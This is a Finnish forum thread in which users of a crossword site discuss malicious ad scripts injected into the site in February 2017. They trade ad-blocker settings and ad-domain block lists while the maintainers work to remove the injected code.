Robottipyyntö ei tule aina eikä kaiketi tarkoituskaan. Kaiketi jollakin mainos tullut haittamaan kommentin lähetystä kun mainos hypännyt silmille.

Sanariksen palvelimella täytyy olla jokin palvelinvirus, jota ei ole saatu häädettyä, koska mainoskoodi jatkuvasti lisätään ja se muuttuu aina silloin tällöin. Onneksi kuitenkin vain kiusantekoa eikä sen pahempaa.
117. tapio6.2.2017 klo 11:10
113. Saattaa olla ihan aito Elisan mainos.

Laitoin blokkerin asetuksiin *.cloudfront.net ja kävin Elisan sivulla - blokkeri aktivoitui eli mm. Elisa käyttää tuota palvelua ja nyt kaappari todennäköisesti jotenkin hyödyntää palvelun dataa ja etsii sivuilla aitoja sopivia mainoksia.
118. Eki6.2.2017 klo 11:13
Eri koneilla tulee ihan eri mainoksia ja ilmoituksia!
119. Jukkis6.2.2017 klo 11:15
Kun Lumialla äsken tulin tänne, niin paukahti ilmoitus, että puhelimessani on 17 virusta, jatka painamalla OK, niin saat tietää, miten pääset niistä eroon. Jos olisin jatkanut, niin eiköhän sieltä olisi tullut tieto, että maksamallahan niistä pääset, ja jos et maksa, niin ties mitä. Sammutin puhelimen, ja käynnistin uudelleen, mutta enpä taida enää sillä näitä sivuja katsella. Eihän tässä mitään viruksia ole, perushuijaus. Aika hankalaksi alkaa sanaristikkoharrastus mennä. Pitää vissiin jatkossa ihan vaan niitä lyijykynällä täytellä ilman tällaista oheishäröilyä.
120. tapio6.2.2017 klo 11:19
118:aan.Tyypillistä mainosrahoitteisilla sivuilla - cloudflont-palvelu itsessään saattaa olla hakkeroitu ja hakkerit laittaneet mainosrobotin Sanariksen sivulle.

119. Blokkerin kanssa pärjää Windows 10 ja Android-ympäristössä.
121. kaplas6.2.2017 klo 11:27
Ainakin Chromella ja AdBlockilla toimii niin, että tulee vain tyhjä sivu ja sen pääsee sulkemaan 10 s kuluttua.
122. kaplas6.2.2017 klo 11:34
No, kuitenkin jo yksi taas livahti. Mukama Windows repair-jotain.. Microsoft Teknologia.. Joopa joo
123. Eki6.2.2017 klo 11:48
Eiköhän nämä vielä pois saada.
124. Ari6.2.2017 klo 11:58
Ottakaa palvelimelta pois KAIKKI epämääräiset tai sellaiset php-tiedostot joita ette tunne.
125. tapio6.2.2017 klo 12:50
Minulla on ++juh ekaksi ehdottama Block Site ja toimii ihan hyvin. uBlock Origin kaiketi myös hyvä. Firefoxille nuo.
Mainokset siis voivat olla ihan mitä vaan.
126. Ari6.2.2017 klo 17:36
Ja css-tiedostoissa sama juttu (124) , tämän sanon kokemuksesta.
127. tapio6.2.2017 klo 17:47
CSS-tiedostojenkin kautta voi vai jotain ujuttaa?

Fonectalla muuten CSS-tiedosto cloudfront-palvelusta.
128. tapio6.2.2017 klo 17:49
Näemmä voi, koska cloudfront-tiedosto nimen omaisesti CSS-tiedosto. Miten näin voi tehdä?
129. Ari6.2.2017 klo 18:09
Onko teidän tekemiä em. Tiedostot:
a
a.htm
a_002
a_003
Etusivulle tietokoneella mennessä: Exploid Fake Video Player
130. pelaaja6.2.2017 klo 18:15
"117. tapio 6.2.2017 klo 11:10
113. Saattaa olla ihan aito Elisan mainos."

No eikä oo. Ihan Elisan näköinen sininen "Elisa" siinä kyllä näkyy. Mutta kun mainoksessa mainitaan vast.ottajan muka IP-osoite ja kun siinä lukee "Oletko tyytyväinen Elisa:een" niin ei kai edes se kuuluisa tuuraaja Elisalla kirjoita Elisa:een.
131. TU6.2.2017 klo 23:22
Minä olen vaan täpännyt sivun kiinni, kun mainos- ja virusvaroitusvyöry tulee. Nyt taas ok.
132. iso S7.2.2017 klo 11:58
Yksi vanha kirjoittaja täälläkin. Palasin lauantaina viikon reissusta ja nyt olen paininut tämän häiriön kanssa. Asensin Block siten (mikä suuresti jurppii, kun pitää käyttää aikaansa tällaisten lisukkeiden opiskeluun, kun on jo virustorjunta ja sen tueksi piti asentaa Adblock). Se auttoi sikäli, että nyt pääsee keskusteluja lukemaan ilman 10 sekunnin odotuksia ("haitallinen sivusto estetty, close button will appear in 10, 9, 8, ... seconds), mutta sivuvaikutuksia on. Ainakin minulla se näyttää blokkaavan kaikki sivustot joita ei ole lueteltu "valkoisella listalla". Lisäksi kommentoiminen ei onnistu, ellei poista blokkausta käytöstä (mikä edellyttää selaimen uudelleen käynnistämistä ja tuottaa ne odotukset), koska blokkauksen ollessa käytössä se blokkaa "en ole robotti" -ruudun. Siinä kohtaa on vain kaksi limittäistä suorakaidetta eikä kummankaan klikkaaminen tee yhtään mitään näkyvää.

Siis: lue säikeitä blokkaus päällä, poista blokkaus, käynnistä selain, mene samaan säikeeseen takaisin (10 sekunnin viiveellä), lähetä viesti, palauta blokkaus päälle, käynnistä selain, jatka lukemista. Kätevää, joskin hiukset harvenevat ja harmaantuvat. Näin tällä läppärillä ja Windows 10:llä homma hoituu.

Muuten: minulla on aina riittänyt ruudun ruksaaminen, kertaakaan en ole joutunut pähkäilemään kuva-arvoitusta. Ei harmita vaikka en joutuisi tulevaisuudessakaan.

Toivottavasti jossakin vaiheessa tilanne saadaan hallintaan siellä päässä ettei tarvitse jokaisen erikseen kikkailla täällä päässä. Yhdellä jos toisellakin saattaa loppua mielenkiinto, kyky tai halu.
133. kaplas7.2.2017 klo 12:03
Terve taas iso S! Niinpä, ymmärtäähän se että lajinsa vie aikaa näiden kanssa tappelu ylläpidoltakin. Samaa mieltä, että voi huumori loppua jossain vaiheessa käyttäjältä. Sääli..
134. kaplas7.2.2017 klo 12:04
Minullakin AdBlock, sain nämä kommentit lähtemään, kun en uskonut ensimmäistä virheilmoitusta vaan jatkoin eteenpäin.
135. Ari7.2.2017 klo 12:09
Minä teen nyt näin:
Kirjoita muistioon vaikka pitkäkin viesti ilman häiriöitä. Kopioi leikepöydälle ja liitä pikaisesti sivun tekstikenttään ja nappase robottiruutuun ja tee tarvittavat valinnat ja toivo että kerkeät vielä lähettämään viestin ennen kuin mainos iskeytyy ruutuun ja estää jatkon.
136. Ari7.2.2017 klo 12:35
Taisi vihdoinkin loppua mainostulva?
137. tapio7.2.2017 klo 12:36
Itselläni on vain Block Site, joka antaa vain muutaman sekunnin muistuksen, että jotain häikkää on, mutta pääsee välittömästi sivulle ikään kuin mitään ongelmia ei olisikaan - näin siis jos musta lista on määritelty oikein. Tässä säikeessä on ohjeet oikeaan konfiguraatioon.

AdBlock se viiveen taitaa aiheuttaa. Sitä en ole kaivannut.
138. tapio7.2.2017 klo 12:42
Nykyinen konffi (cloudfront saattaa muuttua ja sitä saattaa tarvita muuttaa - ks. lähdekoodi sivun lopusta ja tee muutos, jos mainokset hyppii silmille)

*.shorte.st
*.popcash.net
d258hxk86e2ixw.cloudfront.net
lvztx.com
139. Ari7.2.2017 klo 13:14
Kovin ennenaikainen oli riemuni, ei tänne ole vielä asiaa tietokoneella.
140. tapio7.2.2017 klo 13:52
Mielestäni Firefox & Block Site oikein konffattuna sivuston selailu sujuu ihan siedettävästi.
141. Funny7.2.2017 klo 14:09
Minulla on jo vuosikausia ollut AdBlockin lisäksi käytössä NoScript-lisäke. Sen ansiosta asiattomuudet eivät hypi silmille täällä tai muualla, ja sivut aukeavat nopeasti. En silti yritä suosittaa sitä kaikille, koska se vaatii välillä säätämistä joillakin sivuilla, että saa kaiken tarpeellisen näkymään.
142. Jommu7.2.2017 klo 15:02
Nämä sivut on selvästikin hakkeroitu, sivujen lähdekoodissa on ylimääräistä koodia joka sotkee linkkejä niin että niistä joutuu väärille sivuille. Näkee esim. kopioimalla linkin ja liittämällä tekstinkäsittelyyn tms:

ht tp://sh.st/r/b0 6 cde342df6e 21733c2ad5623be9 adb/12/1/http://www.sanaris tikot.net/ri stikot/ristikko/?mag=piilosanat&year=17&id=pp96635 a
(lisäsin turvallisuuden takia välilyöntejä)

Adblockit, flashblockit jne on tarkoitettu sellaisiin mainoksiin joita sivujen omistajat tarkoituksella näyttävät, ei sellaiseen että sivut on hakkeroitu näyttämään ties mitä. Blockit voivat tilapäisesti auttaa, mutta kuten tässäkin on käynyt ilmi, haittaohjelma muuttaa itseään niin että pian mainoksia yms näkyy taas.

Kaikkiin hakkeroitujen sivujen käyttöön liittyy aina kohonnut turvallisuusriski käyttäjälle, vaikka kuinka olisi virustorjunta ja blockit päällä. Hakkerointi ja suojautuminen on jatkuvaa kissa- ja hiiri-leikkiä, jossa vain pienen hetken pienenpieni puute suojauksessa aiheuttaa vahingon. Ylläpidolta edesvastuutonta pitää sivut auki, ja yhtä edesvastuutonta muilta käyttäjiltä kehottaa luottamaan blokkausohjelmiin. Sivuja ei kannata käyttää tai leikkii tulella!

Kyseessä voi olla palvelinvirus, tai ylläpitäjä tekee omalla saastuneella koneellaan sivuja jotka siirtää palvelimelle valmiiksi saastuneena. Yhtä kaikki tämä kertoo siitä että ylläpidon tietämys tietoturvasta ei ole riittävällä tasolla ja ammattilaista tarvittaisiin. Siitä tulee kustannuksia, mutta kun nyt sanaristikot.net-sivuilla eteneminen ei perus-netinkäyttäjältä onnistu tai on ainakin vaikeaa, pian sivujen käyttäjämäärä tippuu. Myös esim. näkyminen googlen tuloksissa voi laskea epäluotettavuuden takia. Myös monet nettiselaimet keräävät tietoja sivuista ja esim. selaimen huijaussivusto-varoituslistalle joutuminen on aika varma kuolinisku.
143. Jukkis7.2.2017 klo 15:16
Eikös nämä ole Nebulan palvelimella? "Yrityksesi toiminta on meille tärkeä asia ja tästä syystä pidämme sivustostasi huolta kuin omastamme. Asiakkaasi saavat nauttia nopeista ja luotettavista verkkosivuista, joissa huippuluokan tietoturva on taattu"
144. kaplas7.2.2017 klo 15:31
Asiaa tuntematta tarkemmin, tuntuu tosi oudolta, että tämä jatkuu vain. Eikö se todista, että sivut on hakkeroitu, jos näihin skripteihin joku ulkopuolinen voi kirjoittaa omiaan. Jollakuilla on oikeus kirjoittaa, ei pitäisi.
145. tapio7.2.2017 klo 17:04
Paheenee joo vaan koko ajan. Viimeksi uutena mainosjuttuna mellowads.com
146. tapio7.2.2017 klo 17:15
Ja pubovore.com. Jäi vielä linkki "Advertise here", jotan en saanut pois.

Yhteensä viidestä eri paikkaa ylimääräistä koodia.
147. tapio7.2.2017 klo 17:23
Tuota Jommun (142.) linkkimuutosta en havainnut enkä ole ohjautunut väärille sivuille. Tosin olen käynyt vain keskustelusivuilla. Kiinteästi sivuille laitettu painikkeet vähän häiritsevät.
148. tapio7.2.2017 klo 17:30
Ehkä syytä poistua. Olisi kiva, jos henk. koht. voisi jonkun kanssa kirjoitella. tapio.huuhaa@gmail.com
149. Ylläpito7.2.2017 klo 19:52
Pahoittelut tilanteesta. Sivustolle on tosiaan saatu ujutettua skriptejä, jotka näitä mainoksia sylkee. Yritämme paraikaa löytää ja korjata tietoturva-aukot, ja saada tilanteen taas kontrolliin.
150. TU7.2.2017 klo 20:23
Mobiililla nyt ok.
151. ville7.2.2017 klo 22:17
läppärillä ok, mobiililla ei ole ok.
152. tapio7.2.2017 klo 22:25
Mainoskriptejä ei ainakaan juuri tätä kirjoittaessa ole lähdekoodissa.
153. ++juh7.2.2017 klo 22:34
Etusivulla vielä mainoshaitakkeita, muilla sivuilla ilmeisesti ei tällä hetkellä.
154. tapio7.2.2017 klo 22:49
Tätä kirjoitettaessa ei juuri nyt sielläkään.
155. tapio8.2.2017 klo 08:02
Mutta taas - ja nyt mainokset välilehteen.
156. tapio8.2.2017 klo 08:54
cloudfront muuttuu vähän väliä, nyt

d1ejnc60jkzff4.cloudfront.net

Eikö tuon palvelun osoite pidä rekisteröidä? Voiko sen tehdä robotti? Jos ei joku kiusaa manuaalisesti.
157. Ari8.2.2017 klo 15:51
Melkein mahdotonta enää päästä tänne edes lukemaan mitään.
Etusivun kautta ei pääse.
Googlettamalla jonkun sivun ja sitä kautta säikeen löytämisen jälkeen heti viestien haku pois päältä!
Nyt näyttää että ei lataa haitakettakaan. Eli ladannee sen juuri tuon viestien automaattisen haun kautta?
Saapa nähdä onnistunko vielä lähettämään tämän kun se on monesti tyssähtänyt tuohon robottivalinnan jälkeen.
Olisipa mielenkiintoista päästä palvelimelle näkemään mitä siellä oikeasti on...
Väkisinkin tässä luottamus sivun ylläpidon kykyihin rapistuu, vai tekeekö tuota vain mahdollisella vapaa-ajallaan?
Toivoisin kuitenkin, että sitten kun ylläpidolla on jotain kerrottavaa, se sanottaisiin tässä nimenomaisessa säikeessä. Muualle tässä ei tule lähdettyä edes lukemaan ennen kuin tilanne rauhoittuu.
Kännykällä pääsin aiemmin mutta nyt ei enää edes sillä.
Toivottavasti tästä oli apua.
158. tapio8.2.2017 klo 16:25
Tätä kirjoittaessa etusivulla haitakkeita mutta tässä säikeessä ei.
159. tapio8.2.2017 klo 18:45
Ja tätä kirjoitettaessa haitakkeita ei etusivullakaan.
160. tapio8.2.2017 klo 18:46
Mutta olivat palanneet taas tänne.
161. tapio8.2.2017 klo 19:20
Block Site ei meinaa riittää vaan aina jotain pääsee lävitse.
162. Funny8.2.2017 klo 22:16
Hassu juttu, mutta minä en ole nähnyt vilahdustakaan noista haitakkeista, vaikka olen näitä joka päivä lueskellut.
163. ++juh8.2.2017 klo 22:19
Funny, sinulla onkin NoScript-lisäke.
164. Funny8.2.2017 klo 22:34
Niinpä. Tässä episodissa se on osoittautunut erittäin hyödylliseksi. Ihmettelen, eikö kukaan muu käytä sitä.
165. ++juh8.2.2017 klo 23:20
Onhan NoScript minullakin ollut jo vuosia, mutta (minäkään) en ole sitä muille tohtinut ehdotella.

Tämän sivuston haitakkeita olen blokkaillut testiympäristössä, kun ongelmia ratkomalla oppii aina jotain uutta.
166. tapio9.2.2017 klo 08:04
Eikö siinä ole paljon säätämistä, että kohdistuu juuri oikein?
BlockSite blokkaa nyt ok, mutta toimii vähän epäluotettavasti.
167. tapio9.2.2017 klo 09:19
Asensin, mutta meni myös captha ja piti väliaikaisesti sallia osa skripteistä tältä sivustolta.
168. tapio9.2.2017 klo 09:20
Mitähän näistä voisi poistaa käytöstä:
gstatic.com
google.com
ajax.googleapis.com
google-analystics.com
169. tapio9.2.2017 klo 09:48

gstatic.com
google.com

tarvitaan ainakin
170. Ari9.2.2017 klo 15:57
Joko vihdoin on päästy eroon hakkerista ja haitakkeistaan? Ainakaan en nyt huomaa mitään ylimääräistä. Ylläpito ei ole kuitenkaan vahvistanut tätä, eli ilmeisesti ei ole vielä varmaa?
171. tapio9.2.2017 klo 16:07
Ei ole tällä hetkellä - mutta ei kannata vielä iloita. Monta kertaa on käynyt niin, että välillä ei ole ja sitten hetken päästä haitakkeet tulleet takaisin entistä ikävämpinä. NoSript hyvä olla aina varalla. Kokeilen selvitä vain sillä ja otin Block Site pois käytöstä.
172. Funny9.2.2017 klo 16:27
Onhan NoScriptin kanssa säätämistä ensin alkuun, mutta kun siihen oppii ja säädöt tekee huolellisesti, ei myöhemmin paljon tarvitse nähdä vaivaa. Sallitut scriptit toimivat tällöin kaikilla sivuilla, joilla nitä esiintyy. Mutta jos sallii jotain vain väliaikaisesti, joutuu samat säädöt tekemään aina uudestaan, siitä on kyllä tarpeettomasti vaivaa. Mutta olennainen etu tässä on, että kaikki, mitä ei ole sallittu, pysyy automaattisesti blokattuna. Ei väliä, vaikka haitakkeiden nimet muuttuvat.

Ainakaan google-analytics.com ei minusta näytä tarpeelliselta. Ajax.googleapis.com on minulla ollut myös blokattuna. Mutta viestiä ei pystynyt lähettämään, joten se on pakko sallia.

Hassua, jouduin selvittämään neljä kuvaa ennen kuin pääsin läpi captchan!
173. Ari10.2.2017 klo 08:32
Ei tunnu kukaan tekevän mitään sivuston puhdistamiseksi. Javaskriptin kautta näemmä tulee, mutta lukeeko sivuston koodarikaan näitä kun ei mitään tapahdu. Paljon ollaan kyllä yritetty auttaa ja antaa vinkkejä. Laittakaa sivut kiinni jos te olette yhtään vastuuntuntoisia.
174. tapio10.2.2017 klo 09:02
11.2. oli jonkin aikaa ylimääräiset skriptit pois, mutta sivujen kohtalo tuntuu lohduttomalta.
Tarviskohan jatkossa jatkaa keskusteluja http://keskustelu.suomi24.fi/harrastukset/pelit/sa naristikot -osiossa.
175. Ari10.2.2017 klo 09:36
Security warning, ei sinne voi mennä.
176. Ville10.2.2017 klo 11:50
Kun sanaristikot.net on näemmä menetetty niin siirrytäänkö Sanaseppojen keskustelualueelle?
177. tapio10.2.2017 klo 11:53
Tuossa on järkeä
178. tapio10.2.2017 klo 11:55
n. klo 12.00 10.2 ei ole ylimääräisiä skriptejä, mutta palannevat pian.
Tarkoittiko Ari 175 että Suomi24 ei turvallinen?
179. Ari10.2.2017 klo 11:56
Eihän tässä olisi mitään suurempaa hätää jos kyse olisi vain inhottavasta mainoksesta, mutta kun se pyrkii asentamaan ainakin itselleni kännykkään Uber-sovellusta, ja ties mitä mutta olen aina sulkenut selaimen ennen kuin on muuta tullut.
Jos kuitenkin haluatte pitää sivut auki, niin suosittelisin ottamaan sivustolta pois KAIKEN javaskriptin, koska mitä ilmeisimmin se sitä kautta tulee. Tutkisitte sitten sitä kun on aikaa panostaa sivujen ylläpitoon.
Javaskriptin poistumisen myötä varmaan poistuisi samalla tuo viestien automaattinen haku ja robottikysely, mutta siitä ei ainakaan meille käyttäjille ole suuremmin haittaa. Saisitte kuitenkin pidettyä sivut hengissä ja toimivina ilman riskiä että tulisi asiakaskatoa tuon saastan takia.

Vaikka turhaan kai täällä valitan, ei näitä kukaan lue.
180. Ari10.2.2017 klo 11:57
tapio, tarkoitan. Noin kännykkäni varoitti.
181. Ari10.2.2017 klo 12:02
Nyt kun luen tätä tietokoneella niin huomaan että tuossa linkissä on välilyönti joka voi muuten aiheuttaa tuon varoituksen. Siinä mainittiin että 'The name of the site does not match the name on the certificate.'
182. Eki10.2.2017 klo 12:26
Kyllä luetaan ja ylläpitäjä korjaa mitä ehtii. Olen antanut vaihtoehdoksi sivujen sulkemisen.
183. kaplas10.2.2017 klo 15:06
Sääli, jos suljetaan. Mutta, ei tällainenkaan ole mistään kotoisin..
184. Eki10.2.2017 klo 15:51
Mulla ei ole moneen tuntiin tullut yhtään mainosta tms. Ylläpito tarkkailee ja poistaa epäilyttäviä osiita.
185. Ari10.2.2017 klo 16:53
Hyvä jos viimein on ryhdytty toimiin ja olisi jopa löytynyt se "koodien koodi" joka sitä haittakoodia lisäsi sivustolle.
186. Ari10.2.2017 klo 16:55
Tuli taas mainos.
187. Eki10.2.2017 klo 17:21
Samat sanat.
188. Ari10.2.2017 klo 17:21
Tuli tuhmia kuvia. Tänne ei voi enää lapsiakaan päästää. Kohta pakko sulkea.
189. Eki10.2.2017 klo 17:28
Mitään sellaista ei ole mulla tullut.
190. tapio10.2.2017 klo 18:11
Mainokset ylipäätään ovat eri henkilöille erilaisia, joten mainosten erilaisuutta ei kannata ihmetellä. On vain surullista, että häiriköintiä ei saada loppumaan.
191. Eki11.2.2017 klo 10:37
Kaikki paikat on putsattu, mutta haittakoodia pukkaa. Otan yhteyttä Nebulaan lopullisen avun saamikseksi.
192. tapio11.2.2017 klo 15:24
Oli tuosta NoScript yleisestikin hyötyä - ei tarvitse katsella niin paljon mainoksia muuallakaan. Esim. Iltasanomat ja Iltalehti-sivustoilla on hirveästi mainosskriptejä.
193. tapio12.2.2017 klo 16:58
Kokeilin Cromeen jotain vastaavaa - ei ollenkaan niin kätevä.
194. tapio13.2.2017 klo 13:54
Androidiin en saanut vastaavaa lisäosaa myöskään, joten ei näillä sivuilla voi liikkua kuin Windows 10, Fireforx + NoScript kanssa.
195. Eki13.2.2017 klo 14:00
Nebula nosti kädet ylös. Voihan pahkeinen, todellisen miettimisen paikka.
196. tapio13.2.2017 klo 14:07
Pitänee sopia Sanaseppojen kanssa heidän fooruminsa käytöstä ja vähän sponssata sitä?

Tällä sivustolla ei ehkä voi turvallisesti liikkua kuin esittämälläni kokoonpanolla, sillä Androdiin ei saa mainoksia kunnolla blokkaavaa lisäosaa. Asensin nimittäin Androidin Firefoxille pari blokkeria, mutta pornomainokset tuli välilehteen. Esto ei siis toimi kuten pitäisi ja poistin lisäosat.

Cromeen ei ylipäätänsä saa kunnon blokkeria. IPhone ja Mac-ympäristöistä en tiedä.
197. Jukkis13.2.2017 klo 14:14
Aha. "Yrityksesi toiminta on meille tärkeä asia ja tästä syystä pidämme sivustostasi huolta kuin omastamme. Asiakkaasi saavat nauttia nopeista ja luotettavista verkkosivuista, joissa huippuluokan tietoturva on taattu".

Mistä muualta nämä tänne väliin änkeäisi kuin webbihotellin palvelimen kautta? Sivun koodin generoi php-skripti. Tuskin siellä php-skriptissä on komentoja, jotka nuo mainokset ja virukset tuottaa? Ihan aitoa troijalaistakin nimittäin on ollut tarjolla, ei pelkkiä mainoksia.
198. tapio13.2.2017 klo 14:31
Troijalaiset kaiketi sitä kautta että erehtyy klikkaamaan ns. mainoksia?

Epäilen ihan samaa ts. että Nebulan palvelimella virus, jota eivät saa häädettyä.
199. Jukkis13.2.2017 klo 14:58
No en kai minä nyt niin tyhmä ole, että niitä klikkailisin
200. tapio13.2.2017 klo 15:07
En nyt sitä epäillytkään. Kaiketi sinulla jokin virustorjuntaohjelma aktivoitui.
201. ++juh13.2.2017 klo 15:15
tapio, uBlock Origin toimii minulla ihan hyvin Androidin Firefoxissa.

uBlock Origin toimii kaiketi myös Chromella:
https://chrome.google.com/webstore/search/ublock%2 0origin
202. tapio13.2.2017 klo 15:22
Ehkä konffasin tuon väärin. Block Site tuntui aluksi tehokkaalta, mutta päästi läpi osan mainoksista. Vain NoScript sain täyden hallinnan tähän soppaan, mutta sitä ei saanut Androidille (vaan jonkun ihan hyödyttömän muun lisäosan). Kiitti ++juh:lle sen mainitsemisesta. Haittana uusilla sivuilla se, että pitää joskus ladata sivu uusiksi, jotta välttämättömät skriptit käytössä mutta suuri etu siinä, että lähes kaikki mainokset saa sivuilta pois.
203. Ari13.2.2017 klo 20:20
Toistan: 179
204. tapio13.2.2017 klo 20:31
Kyllähän nämä sivut sulkea pitäisi ja käyttäjien pitäisi etsiä toinen sivusto jatkaa keskusteluja.
Itse koen, että minua auttaa NoScript riittävästi, mutta kaikissa käyttöympäristöissä ei riittävää suojaa antavaa taida olla.
205. Ari13.2.2017 klo 20:32
Meinaan että jos vielä tarkistaisitte nuo javaskriptit?
Epäilen että sieltä nuo kuitenkin ladataan.
206. tapio13.2.2017 klo 20:39
Näillä sivuilla olevat skriptit ovat toiminnallisesti tärkeitä:

sanaristikot.net
gstatic.com
google.com
ajax.googleapis.com

sanaristikot.net ei ole linkitetty vaan on itse sivulla ja noi loput on googlelta ja yleisesti käytettyjä

NoScript minulla oletusasetuksella - lähtökohtaisesti estää kaikki skriptit ja kun menee eri sivuille pitää usein ensin valita, mitä sallii ja sitten ladata sivu uudestaan.
207. tapio13.2.2017 klo 20:48
kirjoitin hieman väärin - muutama sanaristikot.net skripti on linkitetty - hyvin yksinkertaisia (katsoin, mitä sisälsivät).

Ihmettelen gstatic.com - en löytänyt sille linkkiä, mutta se on välttämätön - kaiketi linkitetty jostakin googlen kautta.
208. tapio13.2.2017 klo 20:50
Jos ei Nebulan palvelin ole hakkeroitu, käytetty CMS on jotenkin hakkeroitu.
209. tapio14.2.2017 klo 08:17
201.:een. En saanut Androidilla konffattua uBlock Origin -lisäosaa, joten siitä ei ollut mitään hyötyä. Näillä sivulla pystyn siis käymään vain Windows 10 -koneella.
210. Ari14.2.2017 klo 10:25
tapio, itse pystyn juuri Androidilla tulemaan Dolphin-selaimella jossa saa myös javaskriptit pois.
211. tapio14.2.2017 klo 11:28
Minulla Androidilla siis Crome ja Firefox + oletusselain, josta en tiedä, mikä se edes on (luulisin, että kyse on yksinkertaistetusta Cromesta ts. cromen "moottori", mutta yksinkertaistettu ulkoasu ja toiminnot).
Dolphin-selaimesta en ollut tietoinen. Miten siihen saa JavaScript-hallinnan? Tuskin se oletuksena tulee?
212. tapio14.2.2017 klo 11:53
En löytänyt ainakaan sopivaa lisäosaa. Skriptit saa kokonaan pois - mutta sitten ei voi ajaa tarpeellisiakaan skriptejä. Näitä sivuja voi ilman skriptejä katsella, mutta ei voi lähettää kommentteja.

Firefox + NoScript paras puoli, että voi valita, mitä skriptejä ajetaan ja mitä ei.
213. Ari14.2.2017 klo 12:14
Näin juuri.
Tätä selainta en muuten käyttäisikään mutta kun saa skriptit pois niin silloin tarpeellinen. Muuten tässä joissakin sivuissa puutteellinen tai ainakin vääränlainen näkymä kuin muilla selaimilla joten siksi en myöskään tätä normaalisti käytä.
214. Ari14.2.2017 klo 13:08
Ei ole nyt näkynyt mainoksia vähään aikaan vaikka skriptit käytössä.
215. tapio14.2.2017 klo 13:27
väliaikaista todennäköisesti - monta kertaa käynyt niin
216. Eki14.2.2017 klo 18:48
Hyvä että on noin paljon luottamusta.
217. Ari14.2.2017 klo 19:48
Onko siis Eki löytynyt jokin ratkaisu tuohon ongelmaan? Ei ole ylläpito ainakaan sanonut niin.
218. Eki14.2.2017 klo 20:49
Ei pidä mennä hihkumaan liian aikaisin, mutta valoa on jo tunnelin päässä.
219. tapio15.2.2017 klo 12:03
Ei ole vähään aikaa ollut ylimääräisiä skriptejä - varauduin jo vaihtamaan foorumia, mutta olisi erinomaista, jos täällä voisi jatkaa.

Voiko mitään vihjaista, mistä hyökkäykset tulivat?
220. ++juh16.2.2017 klo 03:04
Kuvaus sivustolle helmikuun 2017 alkupuolella pesiytyneistä haitakkeista:

http://www.sanaristikot.net/keskustelut/?id=9169

Tässä saikeessä esitetyt arvailut haitakkeista, niiden olemuksesta ja syistä sekä korjausehdotukset ovat nähdäkseni olleet jokseenkin totaalisen täydellisen ehdottomasti virheellisiä, vääriä ja kertakaikkisen hyödyttömiä.
221. ++juh16.2.2017 klo 03:40
Lainaus: 220. ++juh 16.2.2017 klo 03:04
=====
Tässä saikeessä esitetyt arvailut haitakkeista, niiden olemuksesta ja syistä sekä korjausehdotukset ovat nähdäkseni olleet jokseenkin totaalisen täydellisen ehdottomasti virheellisiä, vääriä ja kertakaikkisen hyödyttömiä.
=====

Tarkoitan vain arvailuja ja korjausehdotuksia sivuston kannalta. Käyttäjille annetut ehdotukset (uBlock Origin ja NoScript) ovat hyviä ja suositeltavia.
222. ++juh16.2.2017 klo 04:09
Mitä tuo automaatinen viestien haku päälle/pois tarkoittaa?
Jos se on päällä, niin mitä se hakee ja milloin?
Jos se ei ole päällä, niin mitä se ei hae?

Toteutus on joka tapauksessa väärin. Käyttöliittymän pitää kertoa, missä tilassa jokin (ominaisuus) on, ja missä tilassa se voi olla. Pitää olla joko yksi "check box" näin:

[x] hae viestit automaattisesti

tai kaksi "radio buttonia" näin:

(o) Hae viestit automaattisesti.
() Älä hae viestejä automaattisesti.
223. tapio16.2.2017 klo 09:00
Eikö tuo liity googlen ajax-skripteillä (//ajax.googleapis.com/ajax/libs/jquery/1.11.1/jqu ery.min.js) luotuun toteutukseen, jolla saadaan aikaan se, että ilman sivun uudelleen lataamista saa tietää, että on tullut uusia viestejä. Ajax-skripti näyttää tallentavan jonnekin lähettämättömän viestin, ettei sitä tarvitse uudelleen kirjoittaa. Näin yritetään välttää sitä, että joku kirjoittaa väliin samasta asiasta.
224. Ari17.2.2017 klo 16:22
221:een:
Näin vain sivuston käyttäjänä me näemme hyvin rajallisesti mitä sivun palvelimella voi olla, tai sanoisinko kaikki on vain arvailua. Niistä lähtökohdista näitä apuja on annettu mitä näemme sivulla. Ylläpito kun ei informoinut juurikaan mistä kiikastaa tai ei tainnut itsekään tietää.
KOMMENTOI

Pakolliset kentät merkitty tähdellä *